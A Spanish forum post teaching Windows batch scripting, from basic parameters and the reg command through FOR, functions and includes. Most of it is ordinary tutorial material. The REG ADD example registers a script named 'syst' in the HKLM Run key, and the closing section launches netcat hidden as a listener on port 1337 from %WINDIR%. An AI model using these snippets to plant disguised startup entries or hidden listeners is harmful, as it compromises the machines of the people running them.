code que demuestra el funcionamiento de etas varibles, gurdenlo con el nombre prueba.bat, luego en la
consola vayan a la ruta donde lo guardaron y ejecutenlo de este modo:

C:\Documents and Settings\administrador\Escritorio\>prueba.bat /help

y luego solo normalmente

C:\Documents and Settings\Francisco\Escritorio\>prueba.bat


@echo off

title Ejemplo de variables

if %1==/help (goto help) else goto :tex

:help

echo Esta es la ayuda

echo Aqui va la ayuda en caso de que el programa se ejecute con el parametro /help

pause

exit

:tex

echo De esta forma se ejecuta el programa normalmente

pause

exit

7.Manejo del Registro

Accesar al registro es algo fundamental .Esto es posible mediante el comando "reg". Este comando tiene
infinitas posibilidades. Hay muchos parametros que se pueden especificar y muchas funcionalidades.
Tratare de explicarlas lo mas clara y simplemente. Estos son solos los mas importantes, hay otros pero
con estos ya es suficiente.

Los tipos de "reg" son los siguientes:

REG ADD / Para agregar una clave al registro

REG QUERY / Para consultar una clave


REG EXPORT / Para exportar claves

REG IMPORT / Importa una clave exporta anteriormente con EXPORT.

REG COMPARE / compara una clave con otra.

REG ADD

ADD REG hklm/software/microsoft/windows/currentversion/run /v syst /d


"c:/windows/system32/shut.bat"

Este comando agregaria una clave al registro de inicio con el nombre syst y con el valor de la ruta de
nuestro bat.

REG QUERY

REG QUERY clave [/v nvalor | /ve][/s]

clave [\equipo\]clave

equipo: Nombre del equipo remoto. Si se omite se usa el equipo actual. Slo estn disponibles HKLM y
HKU en equipos remotos.

clave: Con la forma nombre de CLAVERAIZ\subclave CLAVERAIZ [ HKLM | HKCU | HKCR | HKU | HKCC ]

Subclave: Nombre completo de la clave de registro en la CLAVERAIZ seleccionada.

/v consulta para una clave de registro especfica

nvalor: nombre en la clave seleccionada para consultar.

Si se omite, se consultar en todos los valores de la clave.

/ve Consultar el valor predeterminado o el de nombre vaco <sin nombre>

/s Consultar todas las subclaves y valores Ejemplos: REG QUERY HKLM\Software\Microsoft\ResT /v


Version

Muestra el valor del valor Version del registro. REG QUERY HKLM\Software\Microsoft\ResT\Setup /s

Muestra todas las subclaves y valores en la clave de registro Setup.

REG EXPORT
clave ROOTKEY\subclave (slo equipo local)

ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]

subclave El nombre completo de la clave del registro dentro del valor

ROOTKEY seleccionado

archivo El nombre del archivo de disco para exportar

Espero que le sirva a alguien que quiera comenzar con batch

Comentar no cuesta nada

Programacin BATCH Avanzada.

Temario.

1.- Variables y Argumentos.

2.- Imprimir caracteres de comandos.

3.- Algunas otras variables de Entorno.

4.- IF

5.- FOR

6.- Funciones

7.- Includes

8.- Misc

9.- EOF
________________________________________

Variables y Argumentos

El manejo de variables en batch, es muy flexible., y este nos permite hacer desde operaciones
matemticas, hasta seleccionar ciertas partes de una variable, asi como reemplazar cadenas de texto, y
obtener archivos.. y sus propiedades, la fecha, hora, generar numeros aleatorios, entre otros.

Los argumentos que recibe un batch, son recibidos de la siguiente forma:

batch argumento1 dos tres

hara que:

%0 = batch

%1 = argumento1

%2 = dos

%3 = tres

en %0 se guardara, el nombre del archivo.

Podemos borrar el contenido de un parametro con el comando shift:

Cdigo:

@echo off

echo %0 %1 %2 %3

shift /1

echo %0 %1 %2 %3
al llamar:

Cdigo:

Cocuments and SettingsAdministradortempcurso>astring 123 456 789

astring 123 456 789

astring 456 789

shift borro, el primer argumento.

Tambien contamos con los siguientes modificadores para los archivos:

Cdigo:

%~f1 - regresa la ruta y el archivo de %1.

%~d1 - regresa la letra de la unidad de %1.

%~p1 - regresa solo la ruta del archivo %1.

%~n1 - regresa solo el nombre de archivo %1.

%~x1 - regresa solo la extension del archivo %1.

%~s1 - regresa solo la ruta, con directorios, con nombres cortos del archivo %1.

%~a1 - regresa los atributos del archivo.

%~t1 - regresa la hora/fecha del archivo %1

%~z1 - regresa el tamao del archivo %1.

por ejemplo:

en un directorio donde tenemos:

Cdigo:
Cocuments and SettingsAdministradortempcurso>dir

El volumen de la unidad C no tiene etiqueta.

El nmero de serie del volumen es: A057-553B

Directorio de Cocuments and SettingsAdministradortempcurso

24/07/2006 12:25a <DIR> .

24/07/2006 12:25a <DIR> ..

24/07/2006 12:25a 6 archivo.txt

1 archivos 6 bytes

2 dirs 401,715,161,088 bytes libres

este batch:

Cdigo:

@echo off

echo Ruta al archivo: %~f1

echo Disco: %~d1

echo Solo ruta: %~p1

echo Nombre: %~n1

echo Extension: %~x1

echo Ruta Corta: %~s1

echo Atributos: %~a1

echo Fecha: %~t1

echo Tamao: %~z1


llamandolo analiza.bat, saca el siguiente resultado:

Cdigo:

Cocuments and SettingsAdministradortempcurso>analiza archivo.txt

Ruta al archivo: Cocuments and SettingsAdministradortempcursoarchivo.txt

Disco: C:

Solo ruta: Documents and SettingsAdministradortempcurso

Nombre: archivo

Extension: .txt

Ruta Corta: C

OCUME~1ADMINI~1TEMPCU~1archivo.txt

Atributos: --a------

Fecha: 24/07/06 12:25a

Tamao: 6

Tambien podemos usar varias propiedades, por ejemplo, este codigo:

Cdigo:

@echo off

echo %~anxt1

saca este resultado:

Cdigo:

Cocuments and SettingsAdministradortempcurso>analiza archivo.txt

--a------ 24/07/06 12:25a archivo.txt


Si lo que recibimos no es un archivo, sino una cadena de texto, que contiene mas de una palabra, se
debe poner entre comillas, algo asi:

astring "parametro de varias letras"

al obtenerlo, en %1, lo recibimos con comillas, pero si usamos:

Cdigo:

@echo off

echo Con Comillas: %1

echo Sin Comillas: %~1

saca este resultado:

Cdigo:

Cocuments and SettingsAdministradortempcurso>astring "parametro de varias letras"

Con Comillas: "parametro de varias letras"

Sin Comillas: parametro de varias letras

Y por ejemplo, si queremos obtener todos los argumentos, se usa:

%*

es decir:

Cdigo:

@echo off

echo Argumentos: %*
al ejecutar:

astring parametro de varias letras

nos regresa:

Cdigo:

Cocuments and SettingsAdministradortempcurso>astring parametro de varias letras

Argumentos: parametro de varias letras

Para asignar a una variable, el valor de algo escrito por el usuario, puedes usar:

set /P variable=

por ejemplo:

Cdigo:

@echo off

echo Como te llamas?

set /P miva=

echo Tu te llamas %miva%

hara algo asi:

Cdigo:

Cocuments and SettingsAdministradortempcurso>astring


Como te llamas?

Juan

Tu te llamas Juan

Ahora, si por ejemplo, queremos, hacer algo como, obtener las ultimas 3 letras del nombre:

Cdigo:

@echo off

echo Escribe tu Nombre

set /P NOM=

echo %NOM:~-3%

Aqui lo que estamos haciendo en la ultima linea:

%NOM:~-3%

hara, obtener los ultimos 3 caracteres, como si se tratara de la funcion substring.

por ejemplo, esto:

%NOM:~1,3%

obtendra del segundo al cuarto caracter. (empiezas desde 0, recuerda)

Para reemplazar cadenas, dentro de otra variable, es la siguiente sintaxis:

Cdigo:

@echo off
echo Escribe una frase

set /P FRA=

echo %FRA:e=XXX%

esto reemplazara las letras "e" por "XXX".

Para hacer calculos matematicos, se usa el modificado /A, de esta forma:

Cdigo:

@echo off

set /A x=1

echo %x%

set /A x=x*9

echo %x%

tenemos las siguientes operaciones disponibles:

Cdigo:

() - agrupar

* / % - operadores aritmticos

+ - - operadores aritmticos

<< >> - mays lgica

& - AND

^ - XOR

| - OR

= *= /= %= += -= - asignacin

&= ^= |= <<= >>=


, - separador de expresin

Con este podemos usar numeros hexadecimales de la siguiente forma:

Cdigo:

@echo off

set /A x=2

echo %x%

set /A x=x*0xff

echo %x%

al colocar 0x estamos especificando, que a continuacion se pondra un valor hexadecimal.

________________________________________

Imprimir caracteres sin usar comandos

Ahora, se preguntaran, en las variabes, siempre usamos los signos %

Como imprimes uno?

veamos:

Cdigo:

@echo off

set x=pru

set pru=HOLA

:: Esto imprimira el contenido de x


echo %x%

::Esto imprimira la letra x

echo x

::Esto imprimira %x%

echo %%x%%

::Esto imprimira el valor de x entre %%

echo %%%x%%%

:: Lo mismo

echo %pru%

echo %%pru%%

echo %%%pru%%%

En resumen, si quieren imprimir, el caracter %, deben colocarlo 2 veces.

Para otros caracteres, que ejecutan alguna accion en batch como:

&

<

>

debes colocar este caracter antes:^


por ejemplo:

Cdigo:

echo <html><h1>Hola</h1></html> >index.html

no funcionara, pero:

Cdigo:

echo ^<html^>^<h1^>Hola^</h1^>^</html^> >index.html

dara:

Cdigo:

Cocuments and SettingsAdministradortempcurso>type index.html

<html><h1>Hola</h1></html>

________________________________________

Algunas otras variables de entorno

Tenemos otras variables de entorno que podrian servir, ademas de las comunes de ALLUSERSPROFILE y
HOMEPATH, por ejemplo:

Cdigo:

@echo off

echo Directorio Actual: %CD%

echo Fecha: %DATE%

echo Hora: %TIME%

echo Numero Aleatorio: %RANDOM%


dara como resultado:

Cdigo:

Cocuments and SettingsAdministradortempcurso>astring

Directorio Actual: Cocuments and SettingsAdministradortempcurso

Fecha: Lun 24/07/2006

Hora: 2:13:49.33

Numero Aleatorio: 24523

Cocuments and SettingsAdministradortempcurso>astring

Directorio Actual: Cocuments and SettingsAdministradortempcurso

Fecha: Lun 24/07/2006

Hora: 2:13:51.60

Numero Aleatorio: 3681

Otras instrucciones muy utiles, serian POPD y PUSHD, que sirven para guardar y regresar al directorio
actual, por ejemplo:

Cdigo:

@echo off

echo %CD%

PUSHD

echo %CD%

POPD

echo %CD%

PUSHD funciona de la siguiente manera:


Guarda el directorio actual., y va a la ruta especificada.

POPD regresa al directorio guardado por PUSHD

podemos usarlos uno dentro de otro, asi:

Cdigo:

@echo off

echo %CD%

PUSHD

echo %CD%

PUSHD %homepath%

echo %CD%

POPD

echo %CD%

POPD

echo %CD%

________________________________________

IF

If, reconoce varias situaciones:

valores de error

comparar cadenas
existencia de archivos

comparaciones matematicas

como ya sabemos %ERRORLEVEL% almacena algunos valores de otras funciones.

al hacer

IF ERRORLEVEL 1 @echo ok ELSE @echo no

estariamos preguntando si ERRORLEVEL es 1, si lo es imprime OK, si no, imprime NO.

tambien podemos comparar cadenas, por ejemplo:

Cdigo:

@echo off

IF "%~1"=="hola" echo hola

usamos %~1 para que aunque el usuario ponga comillas, no salga error

Cdigo:

@echo off

IF /I "%~1"=="hola" echo hola

este codigo, solo responde si dices hola CON minusculas. /I es para hacer mas estricta la comparacion.

ahora, podemos usar IF en varias lineas:

Cdigo:
@echo off

IF EXIST %~snx1 (

echo EXISTE!

) ELSE (

echo NO EXISTE

con parentesis ().

si vamos a usar comparaciones numericas, debemos usar los siguientes codigos de comparacin:

Cdigo:

EQU - igual

NEQ - no igual

LSS - menor que

LEQ - menor que o igual

GTR - mayor que

GEQ - mayor que o igual

por ejemplo:

Cdigo:

@echo off

echo Cual es tu edad?

SET /P m=

IF %m% GEQ 18 (
echo ERES MAYOR DE EDAD

) ELSE (

echo NO ERES MAYOR DE EDAD

que regresa:

Cdigo:

Cocuments and SettingsAdministradortempcurso>acon

Cual es tu edad?

19

ERES MAYOR DE EDAD

Cocuments and SettingsAdministradortempcurso>acon

Cual es tu edad?

17

NO ERES MAYOR DE EDAD

Tambien podemos saber si una variable ya fue definida:

Cdigo:

IF DEFINED var (

echo SI

) ELSE (

echo NO

)
________________________________________

FOR

FOR es una herramienta muy completa, nos permite analizar segmentos de la salida de comandos,
funciones y el contenido de archivos.

Tambien permite hacer bucles de la siguiente manera:

Cdigo:

FOR /L %%var IN (inicio,incremento,fin) DO (acciones)

inicio, es el valor inicial, incremento es la cantidad a sumar, y fin es la cantidad a detenerse, por ejemplo:

Cdigo:

FOR /L %%i IN (0,1,10) DO (echo %%i)

imprimira 0 1 2 3 4 5 6 7 8 9 10

sinembargo, la forma mas sencilla de usar FOR, es para numerar archivos, y hacer algo con ellos.. por
ejemplo:

Cdigo:

FOR %%x in (x*) DO echo %%x

mostrar todos los archivos que empiezan con x.

para SOLO mostrar directorios:

Cdigo:

FOR /D %%x in (m*) DO echo %%x

el modificador "/D", mostrar solo los directorios, que empiesen con m.


El comando se puede hacer "recursivo", es decir, que se ejecute dentro de cada directorio, con el
comando "/R", por ejemplo, en una estructura de directorios como la siguiente:

Cdigo:

adios

algo

xx

hola

al ejecutar el comando:

Cdigo:

FOR /R /D %%x in (a*) DO echo %%x

C:adios

C:adiosalgo

sinembargo, al ejecutar el comando..

Cdigo:

FOR /R %%x in (*x*) DO echo %%x

C:ax.txt

C:adiossx.txt

C:adioswwx.txt

C:adiosalgokkx.txt

C:adiosalgoxxxx.txt

C:holaax.txt

C:holarx.txt
nos mostrara todos los archivos que coinciden con la sequencia especificada, incluso podriamos hacer
un buscador en batch, con el uso de FINDSTR y FOR.

Tenemos otro modificador, /F que nos permite usar ciertas opciones para separar el resulado de las
acciones.. comandos, cadenas, o archivos. Su sintaxis es la siguiente:

Cdigo:

FOR /F ["opciones"] %var IN (conjunto) DO (acciones)

conjunto puede ser:

conjunto de archivos -> sin comillas

cadena de caracteres -> con comillas dobles (" "

comando -> con comilla simple (' ')

las opciones son las siguientes:

eol -> todo lo que este despues de este caracter sera ignorado (para cada linea)

skip -> numero de lineas a saltarse al principio del archivo/comando.

delims -> esto sirve para separar las strings.. si no se coloca esta opcion, se usaran como separadores
"espacio" y "tab"

tokens -> esto es para especificar cuales segementos, delimitados por "delims", seran pasados a las
variables.. por ejemplo:

1,2,3

solo pasara los primeros 3 segmentos.

1,2*

pasara 2 segmentos, el primero y todo lo que este despues (el * regresa todo el resto de la linea)

1,2-6,8,9*

regresara 4 segmentos, el primero, desde el segundo hasta el sexto, el octavo y el resto de la linea,
despues del noveno, el signo de menos (-) genera intervalos.
por ultimo, esta la opcion:

usebackq -> que cambia la forma de interpretar si es string o comando, de la siguiente manera:

'cadena'

`comando`

Nota: [`] es diferente al caracter de acento []

por ejemplo, el siguiente comando:

Cdigo:

FOR /F "tokens=1,3-5,7-9,10* delims= " %%i IN ("George no es malvado, es bondadoso, siempre piensa
en los demas." DO echo %%i %%j %%k %%l tonto, %%m %%n %%o matar a %%p %%q

dara de resultado:

Cdigo:

George es malvado, es tonto, siempre piensa en matar a los demas.

________________________________________

Funciones

El uso de argumentos, de etiquetas y de filtros nos ayuda mucho al momento de escribir un codigo.

Muchos creen que las etiquetas solo sirven para los goto.. sinembargo una etiqueta puede servir de
funcion y recibir parametros.
miren, el siguiente programa:

Cdigo:

@echo off

call:funcion 1 2 3

call:funcion %*

goto:EOF

:funcion

echo Estoy en: %~nx0-^>%0 %*

al ser llamado, por ejemplo en:

Cdigo:

C:>ejemplo

Estoy en: ejemplo.bat->:funcion 1 2 3

Estoy en: ejemplo.bat->:funcion

el primero muestra los parametros enviados por el batch (1 2 3), y el segundo los parametros enviados
al programa.

en este otro ejemplo:

Cdigo:

C:>ejemplo HOLA MUNDO

Estoy en: ejemplo.bat->:funcion 1 2 3

Estoy en: ejemplo.bat->:funcion HOLA MUNDO

la funcion obtiene tambien los argumentos del programa.

hasta ahora.. todo es igual a usar goto a excepcion del uso de argumentos, sinembargo.. si queremos
hacer un.. "return", se hace usando:

goto:EOF
entonces, en situaciones como:

Cdigo:

@echo off&call:main&goto:EOF

:suma

set /A res=%1 + %2

echo %res%

goto:EOF

:resta

set /A res=%1 - %2

echo %res%

goto:EOF

:multiplica

set /A res=%1 * %2

echo %res%

goto:EOF

:main

set /P arg=Escribe 2 numeros separados por un espacio

echo %arg%

echo su suma es:

call:suma %arg%
echo su resta es:

call:resta %arg%

echo su producto es:

call:multiplica %arg%

goto:EOF

como podemos ver goto:EOF se usa para regresar al orden de comandos.

el resultado es algo asi:

Cdigo:

C:>operaciones

Escribe 2 numeros separados por un espacio 6 2

62

su suma es:

su resta es:

su producto es:

12

________________________________________

Includes
Para hacer un "include" oincluir un archivo, solo debes llamarlo asi:

archivo_a_incluir.bat funcion argumentos

y en el archivo a incluir, debe de estar al principio: @echo off&call:%*&goto:EOF

queda algo asi:

Cdigo:

@echo off&call:%*&goto:EOF

:funcion1

...

:funcion2

...

por ejemplo:

--inclu.bat--

Cdigo:

@echo off&call:%*&goto:EOF

:cabeza

echo ###############

echo # Hecho por: #

echo # sirdarckcat #

echo ###############

goto:EOF
:uso

echo uso:

echo %~nx0 Nombre

goto:EOF

:nombre

echo Hola %*

goto:EOF

--inicio.bat--

Cdigo:

@echo off

if "%~1"=="" (

inclu.bat cabeza

inclu.bat uso

) else (

inclu.bat nombre %~1

esto daria este resultado:

Cdigo:

C:>inicio

###############

# Hecho por: #

# sirdarckcat #
###############

uso:

inclu.bat Nombre

C:>inicio sirdarckcat

Hola sirdarckcat

C:>

________________________________________

Misc

Algunos filtros y comandos interesantes:

comando | more

muestra el resultado del comando de forma paginada

comando | sort

muestra el resultado del comando de forma ordenada

TITLE "algo"

cambia el titulo de la ventana de CMD

SUBST ruta/a/alguna/carpeta [letra_unidad]

asgina a letra_unidad la ruta de acceso

FIND "cadena"

busca cierta cadena en un archivo (se puede usar como filtro), con el modificador /v encuentra solo las
que NO tienen la linea especificada. (para mas info, escribe en CMD: FIND /?)

FINDSTR
extension de FIND, acepta expresiones regulares, y busqueda general (lo mas parecido que DOS tiene a
grep), descripcin detallada:

Cdigo:

Busca cadenas en los archivos.

FINDSTR [/B] [/E] [/L] [/R] [/S] [/I] [/X] [/V] [/N] [/M] [/O] [/P]

[/F:archivo]

[/C:cadena] [/G:archivo] [/D:lista de directorios] [/A:atributos de color]

[[unidad[ruta]nombredearchivo[ ...]]

/B Hace coincidir los modelos si estn al principio de la lnea.

/E Hace coincidir los modelos si estn al final de la lnea.

/L Literalmente utiliza cadenas de bsqueda.

/R Utiliza cadenas sde bsqueda como expresiones regulares.

/S Busca archivos que coinciden en el directorio actual y en todos

los subdirectorios.

/I Especifica que la bsqueda no distingue maysculas de minsculas.

/X Imprime lneas que coinciden con exactitud.

/V Slo imprime lneas que no contienen una correspondencia.

/N Imprime el nmero de la lnea antes de la lnea que coincide.

/M Slo imprime el nombre de archivo si el archivo contiene una

correspondencia.

/O Imprime un carcter de desplazamiento antes de las lneas que

coinciden.

/P Omite archivos con caracteres que no son imprimibles

/A:attr Especifica atributos de color con dos dgitos hexadecimales. Ver


"color /?"

/F:archivo Lee la lista de archivos desde el archivo especificado

(/ significa consola).

/C:cadena Utiliza una cadena especificada como una bsqueda de cadena

literal.

/G:archivo Coje la bsqueda de archivos desde el archivo especificado

(/ significa consola).

/D:dir Busca un signo de punto y coma de la lista delimitada de

directorios

cadenas Texto que se debe buscar.

[unidad[ruta]nombredearchivo

Especifica un archivo o archivos que buscar.

Utiliza espacios para separar mltiples cadenas de bsqueda a no ser que

el argumento lleve un prefijo con /C. Por ejemplo, 'FINDSTR "qu tal" x.y'

busca "qu" o "tal" en el archivo x.y. 'FINDSTR /C:"qu tal" x.y' busca

"qu tal" en el archivo x.y.

Expresin regular de referencia rpida:

. Comodn: cualquier carcter

* Repetir: cero o ms ocurrencias de un carcter previo o de clase

^ Posicin de lnea: comienzo de la lnea

$ Posicin de lnea: fin de lnea

Clase de carcter: cualquier carcter en la serie

[^class] Clase inversa: cualquier carcter que no est en la serie


[x-y] Intervalo: cualquier carcter que est dentro del intervalo

especificado

x Escape: uso literal de un metacarcter x

<xyz Posicin de palabra: principio de palabra

xyz> Posicin de palabra: fin de palabra

Para obtener una informacin ms completa sobre expresiones regulares de

FINDSTR referirse al Comando de referencia Command en lnea.

start "titulo ventana nueva" comando argumentos

START tiene mas opciones de las que son usadas comunmente.

"titulo ventana nueva" especifica el titulo de la ventana que se generar.

las opciones entre otros contienen:

/Druta - el programa inicia en el directorio..

/B - la aplicacin se inicia sin ventana

/I - se inicia la aplicacion con el entorno original, es decir las modificaciones al entrono hechas en esta
sesion, no afectaran el nuevo programa

/MIN - La nueva ventana se inicia minimisada

/MAX - La nueva ventana se inicia maximisada

/SEPARATE - El programa se inicia en una zona de memoria separada

/SHARED - El programa se inicia en una zona de memoria compartida

Iniciar en prioridades:

/LOW - baja
/NORMAL - normal

/HIGH - alta

/REALTIME - tiempo real

/ABOVENORMAL - sobre lo normal

/BELOWNORMAL - debajo de lo normal

/WAIT - Inicia el programa, y espera hasta que termine de ejecutarse

por ejemplo, si quieren abrir un programa sin generar una ventana, por ejemplo netcat, podrian hacer
algo asi:

start /B /SEPARATE /HIGH /I /D %WINDIR% nc -L -p 1337 |exit

que lo inicia en una zona de memoria separada, con prioridad alta, en el contexto original, y en
%windir%

EOF

EOF es una etiqueta que define el fin del archivo, sirve para terminar funciones, y en este caso, solo sirve
para terminar el documento , espero les sirva

Autorizo la reproduccin total o parcial de este documento bajo la licencia de documentacin libre de
GNU (GFDL), una copia puede ser encontrada en http://www.gnu.org/licenses/fdl.txt

Espero que Mi Post les Alla Gustado Muchas Gracias,, Ya mi segundo post!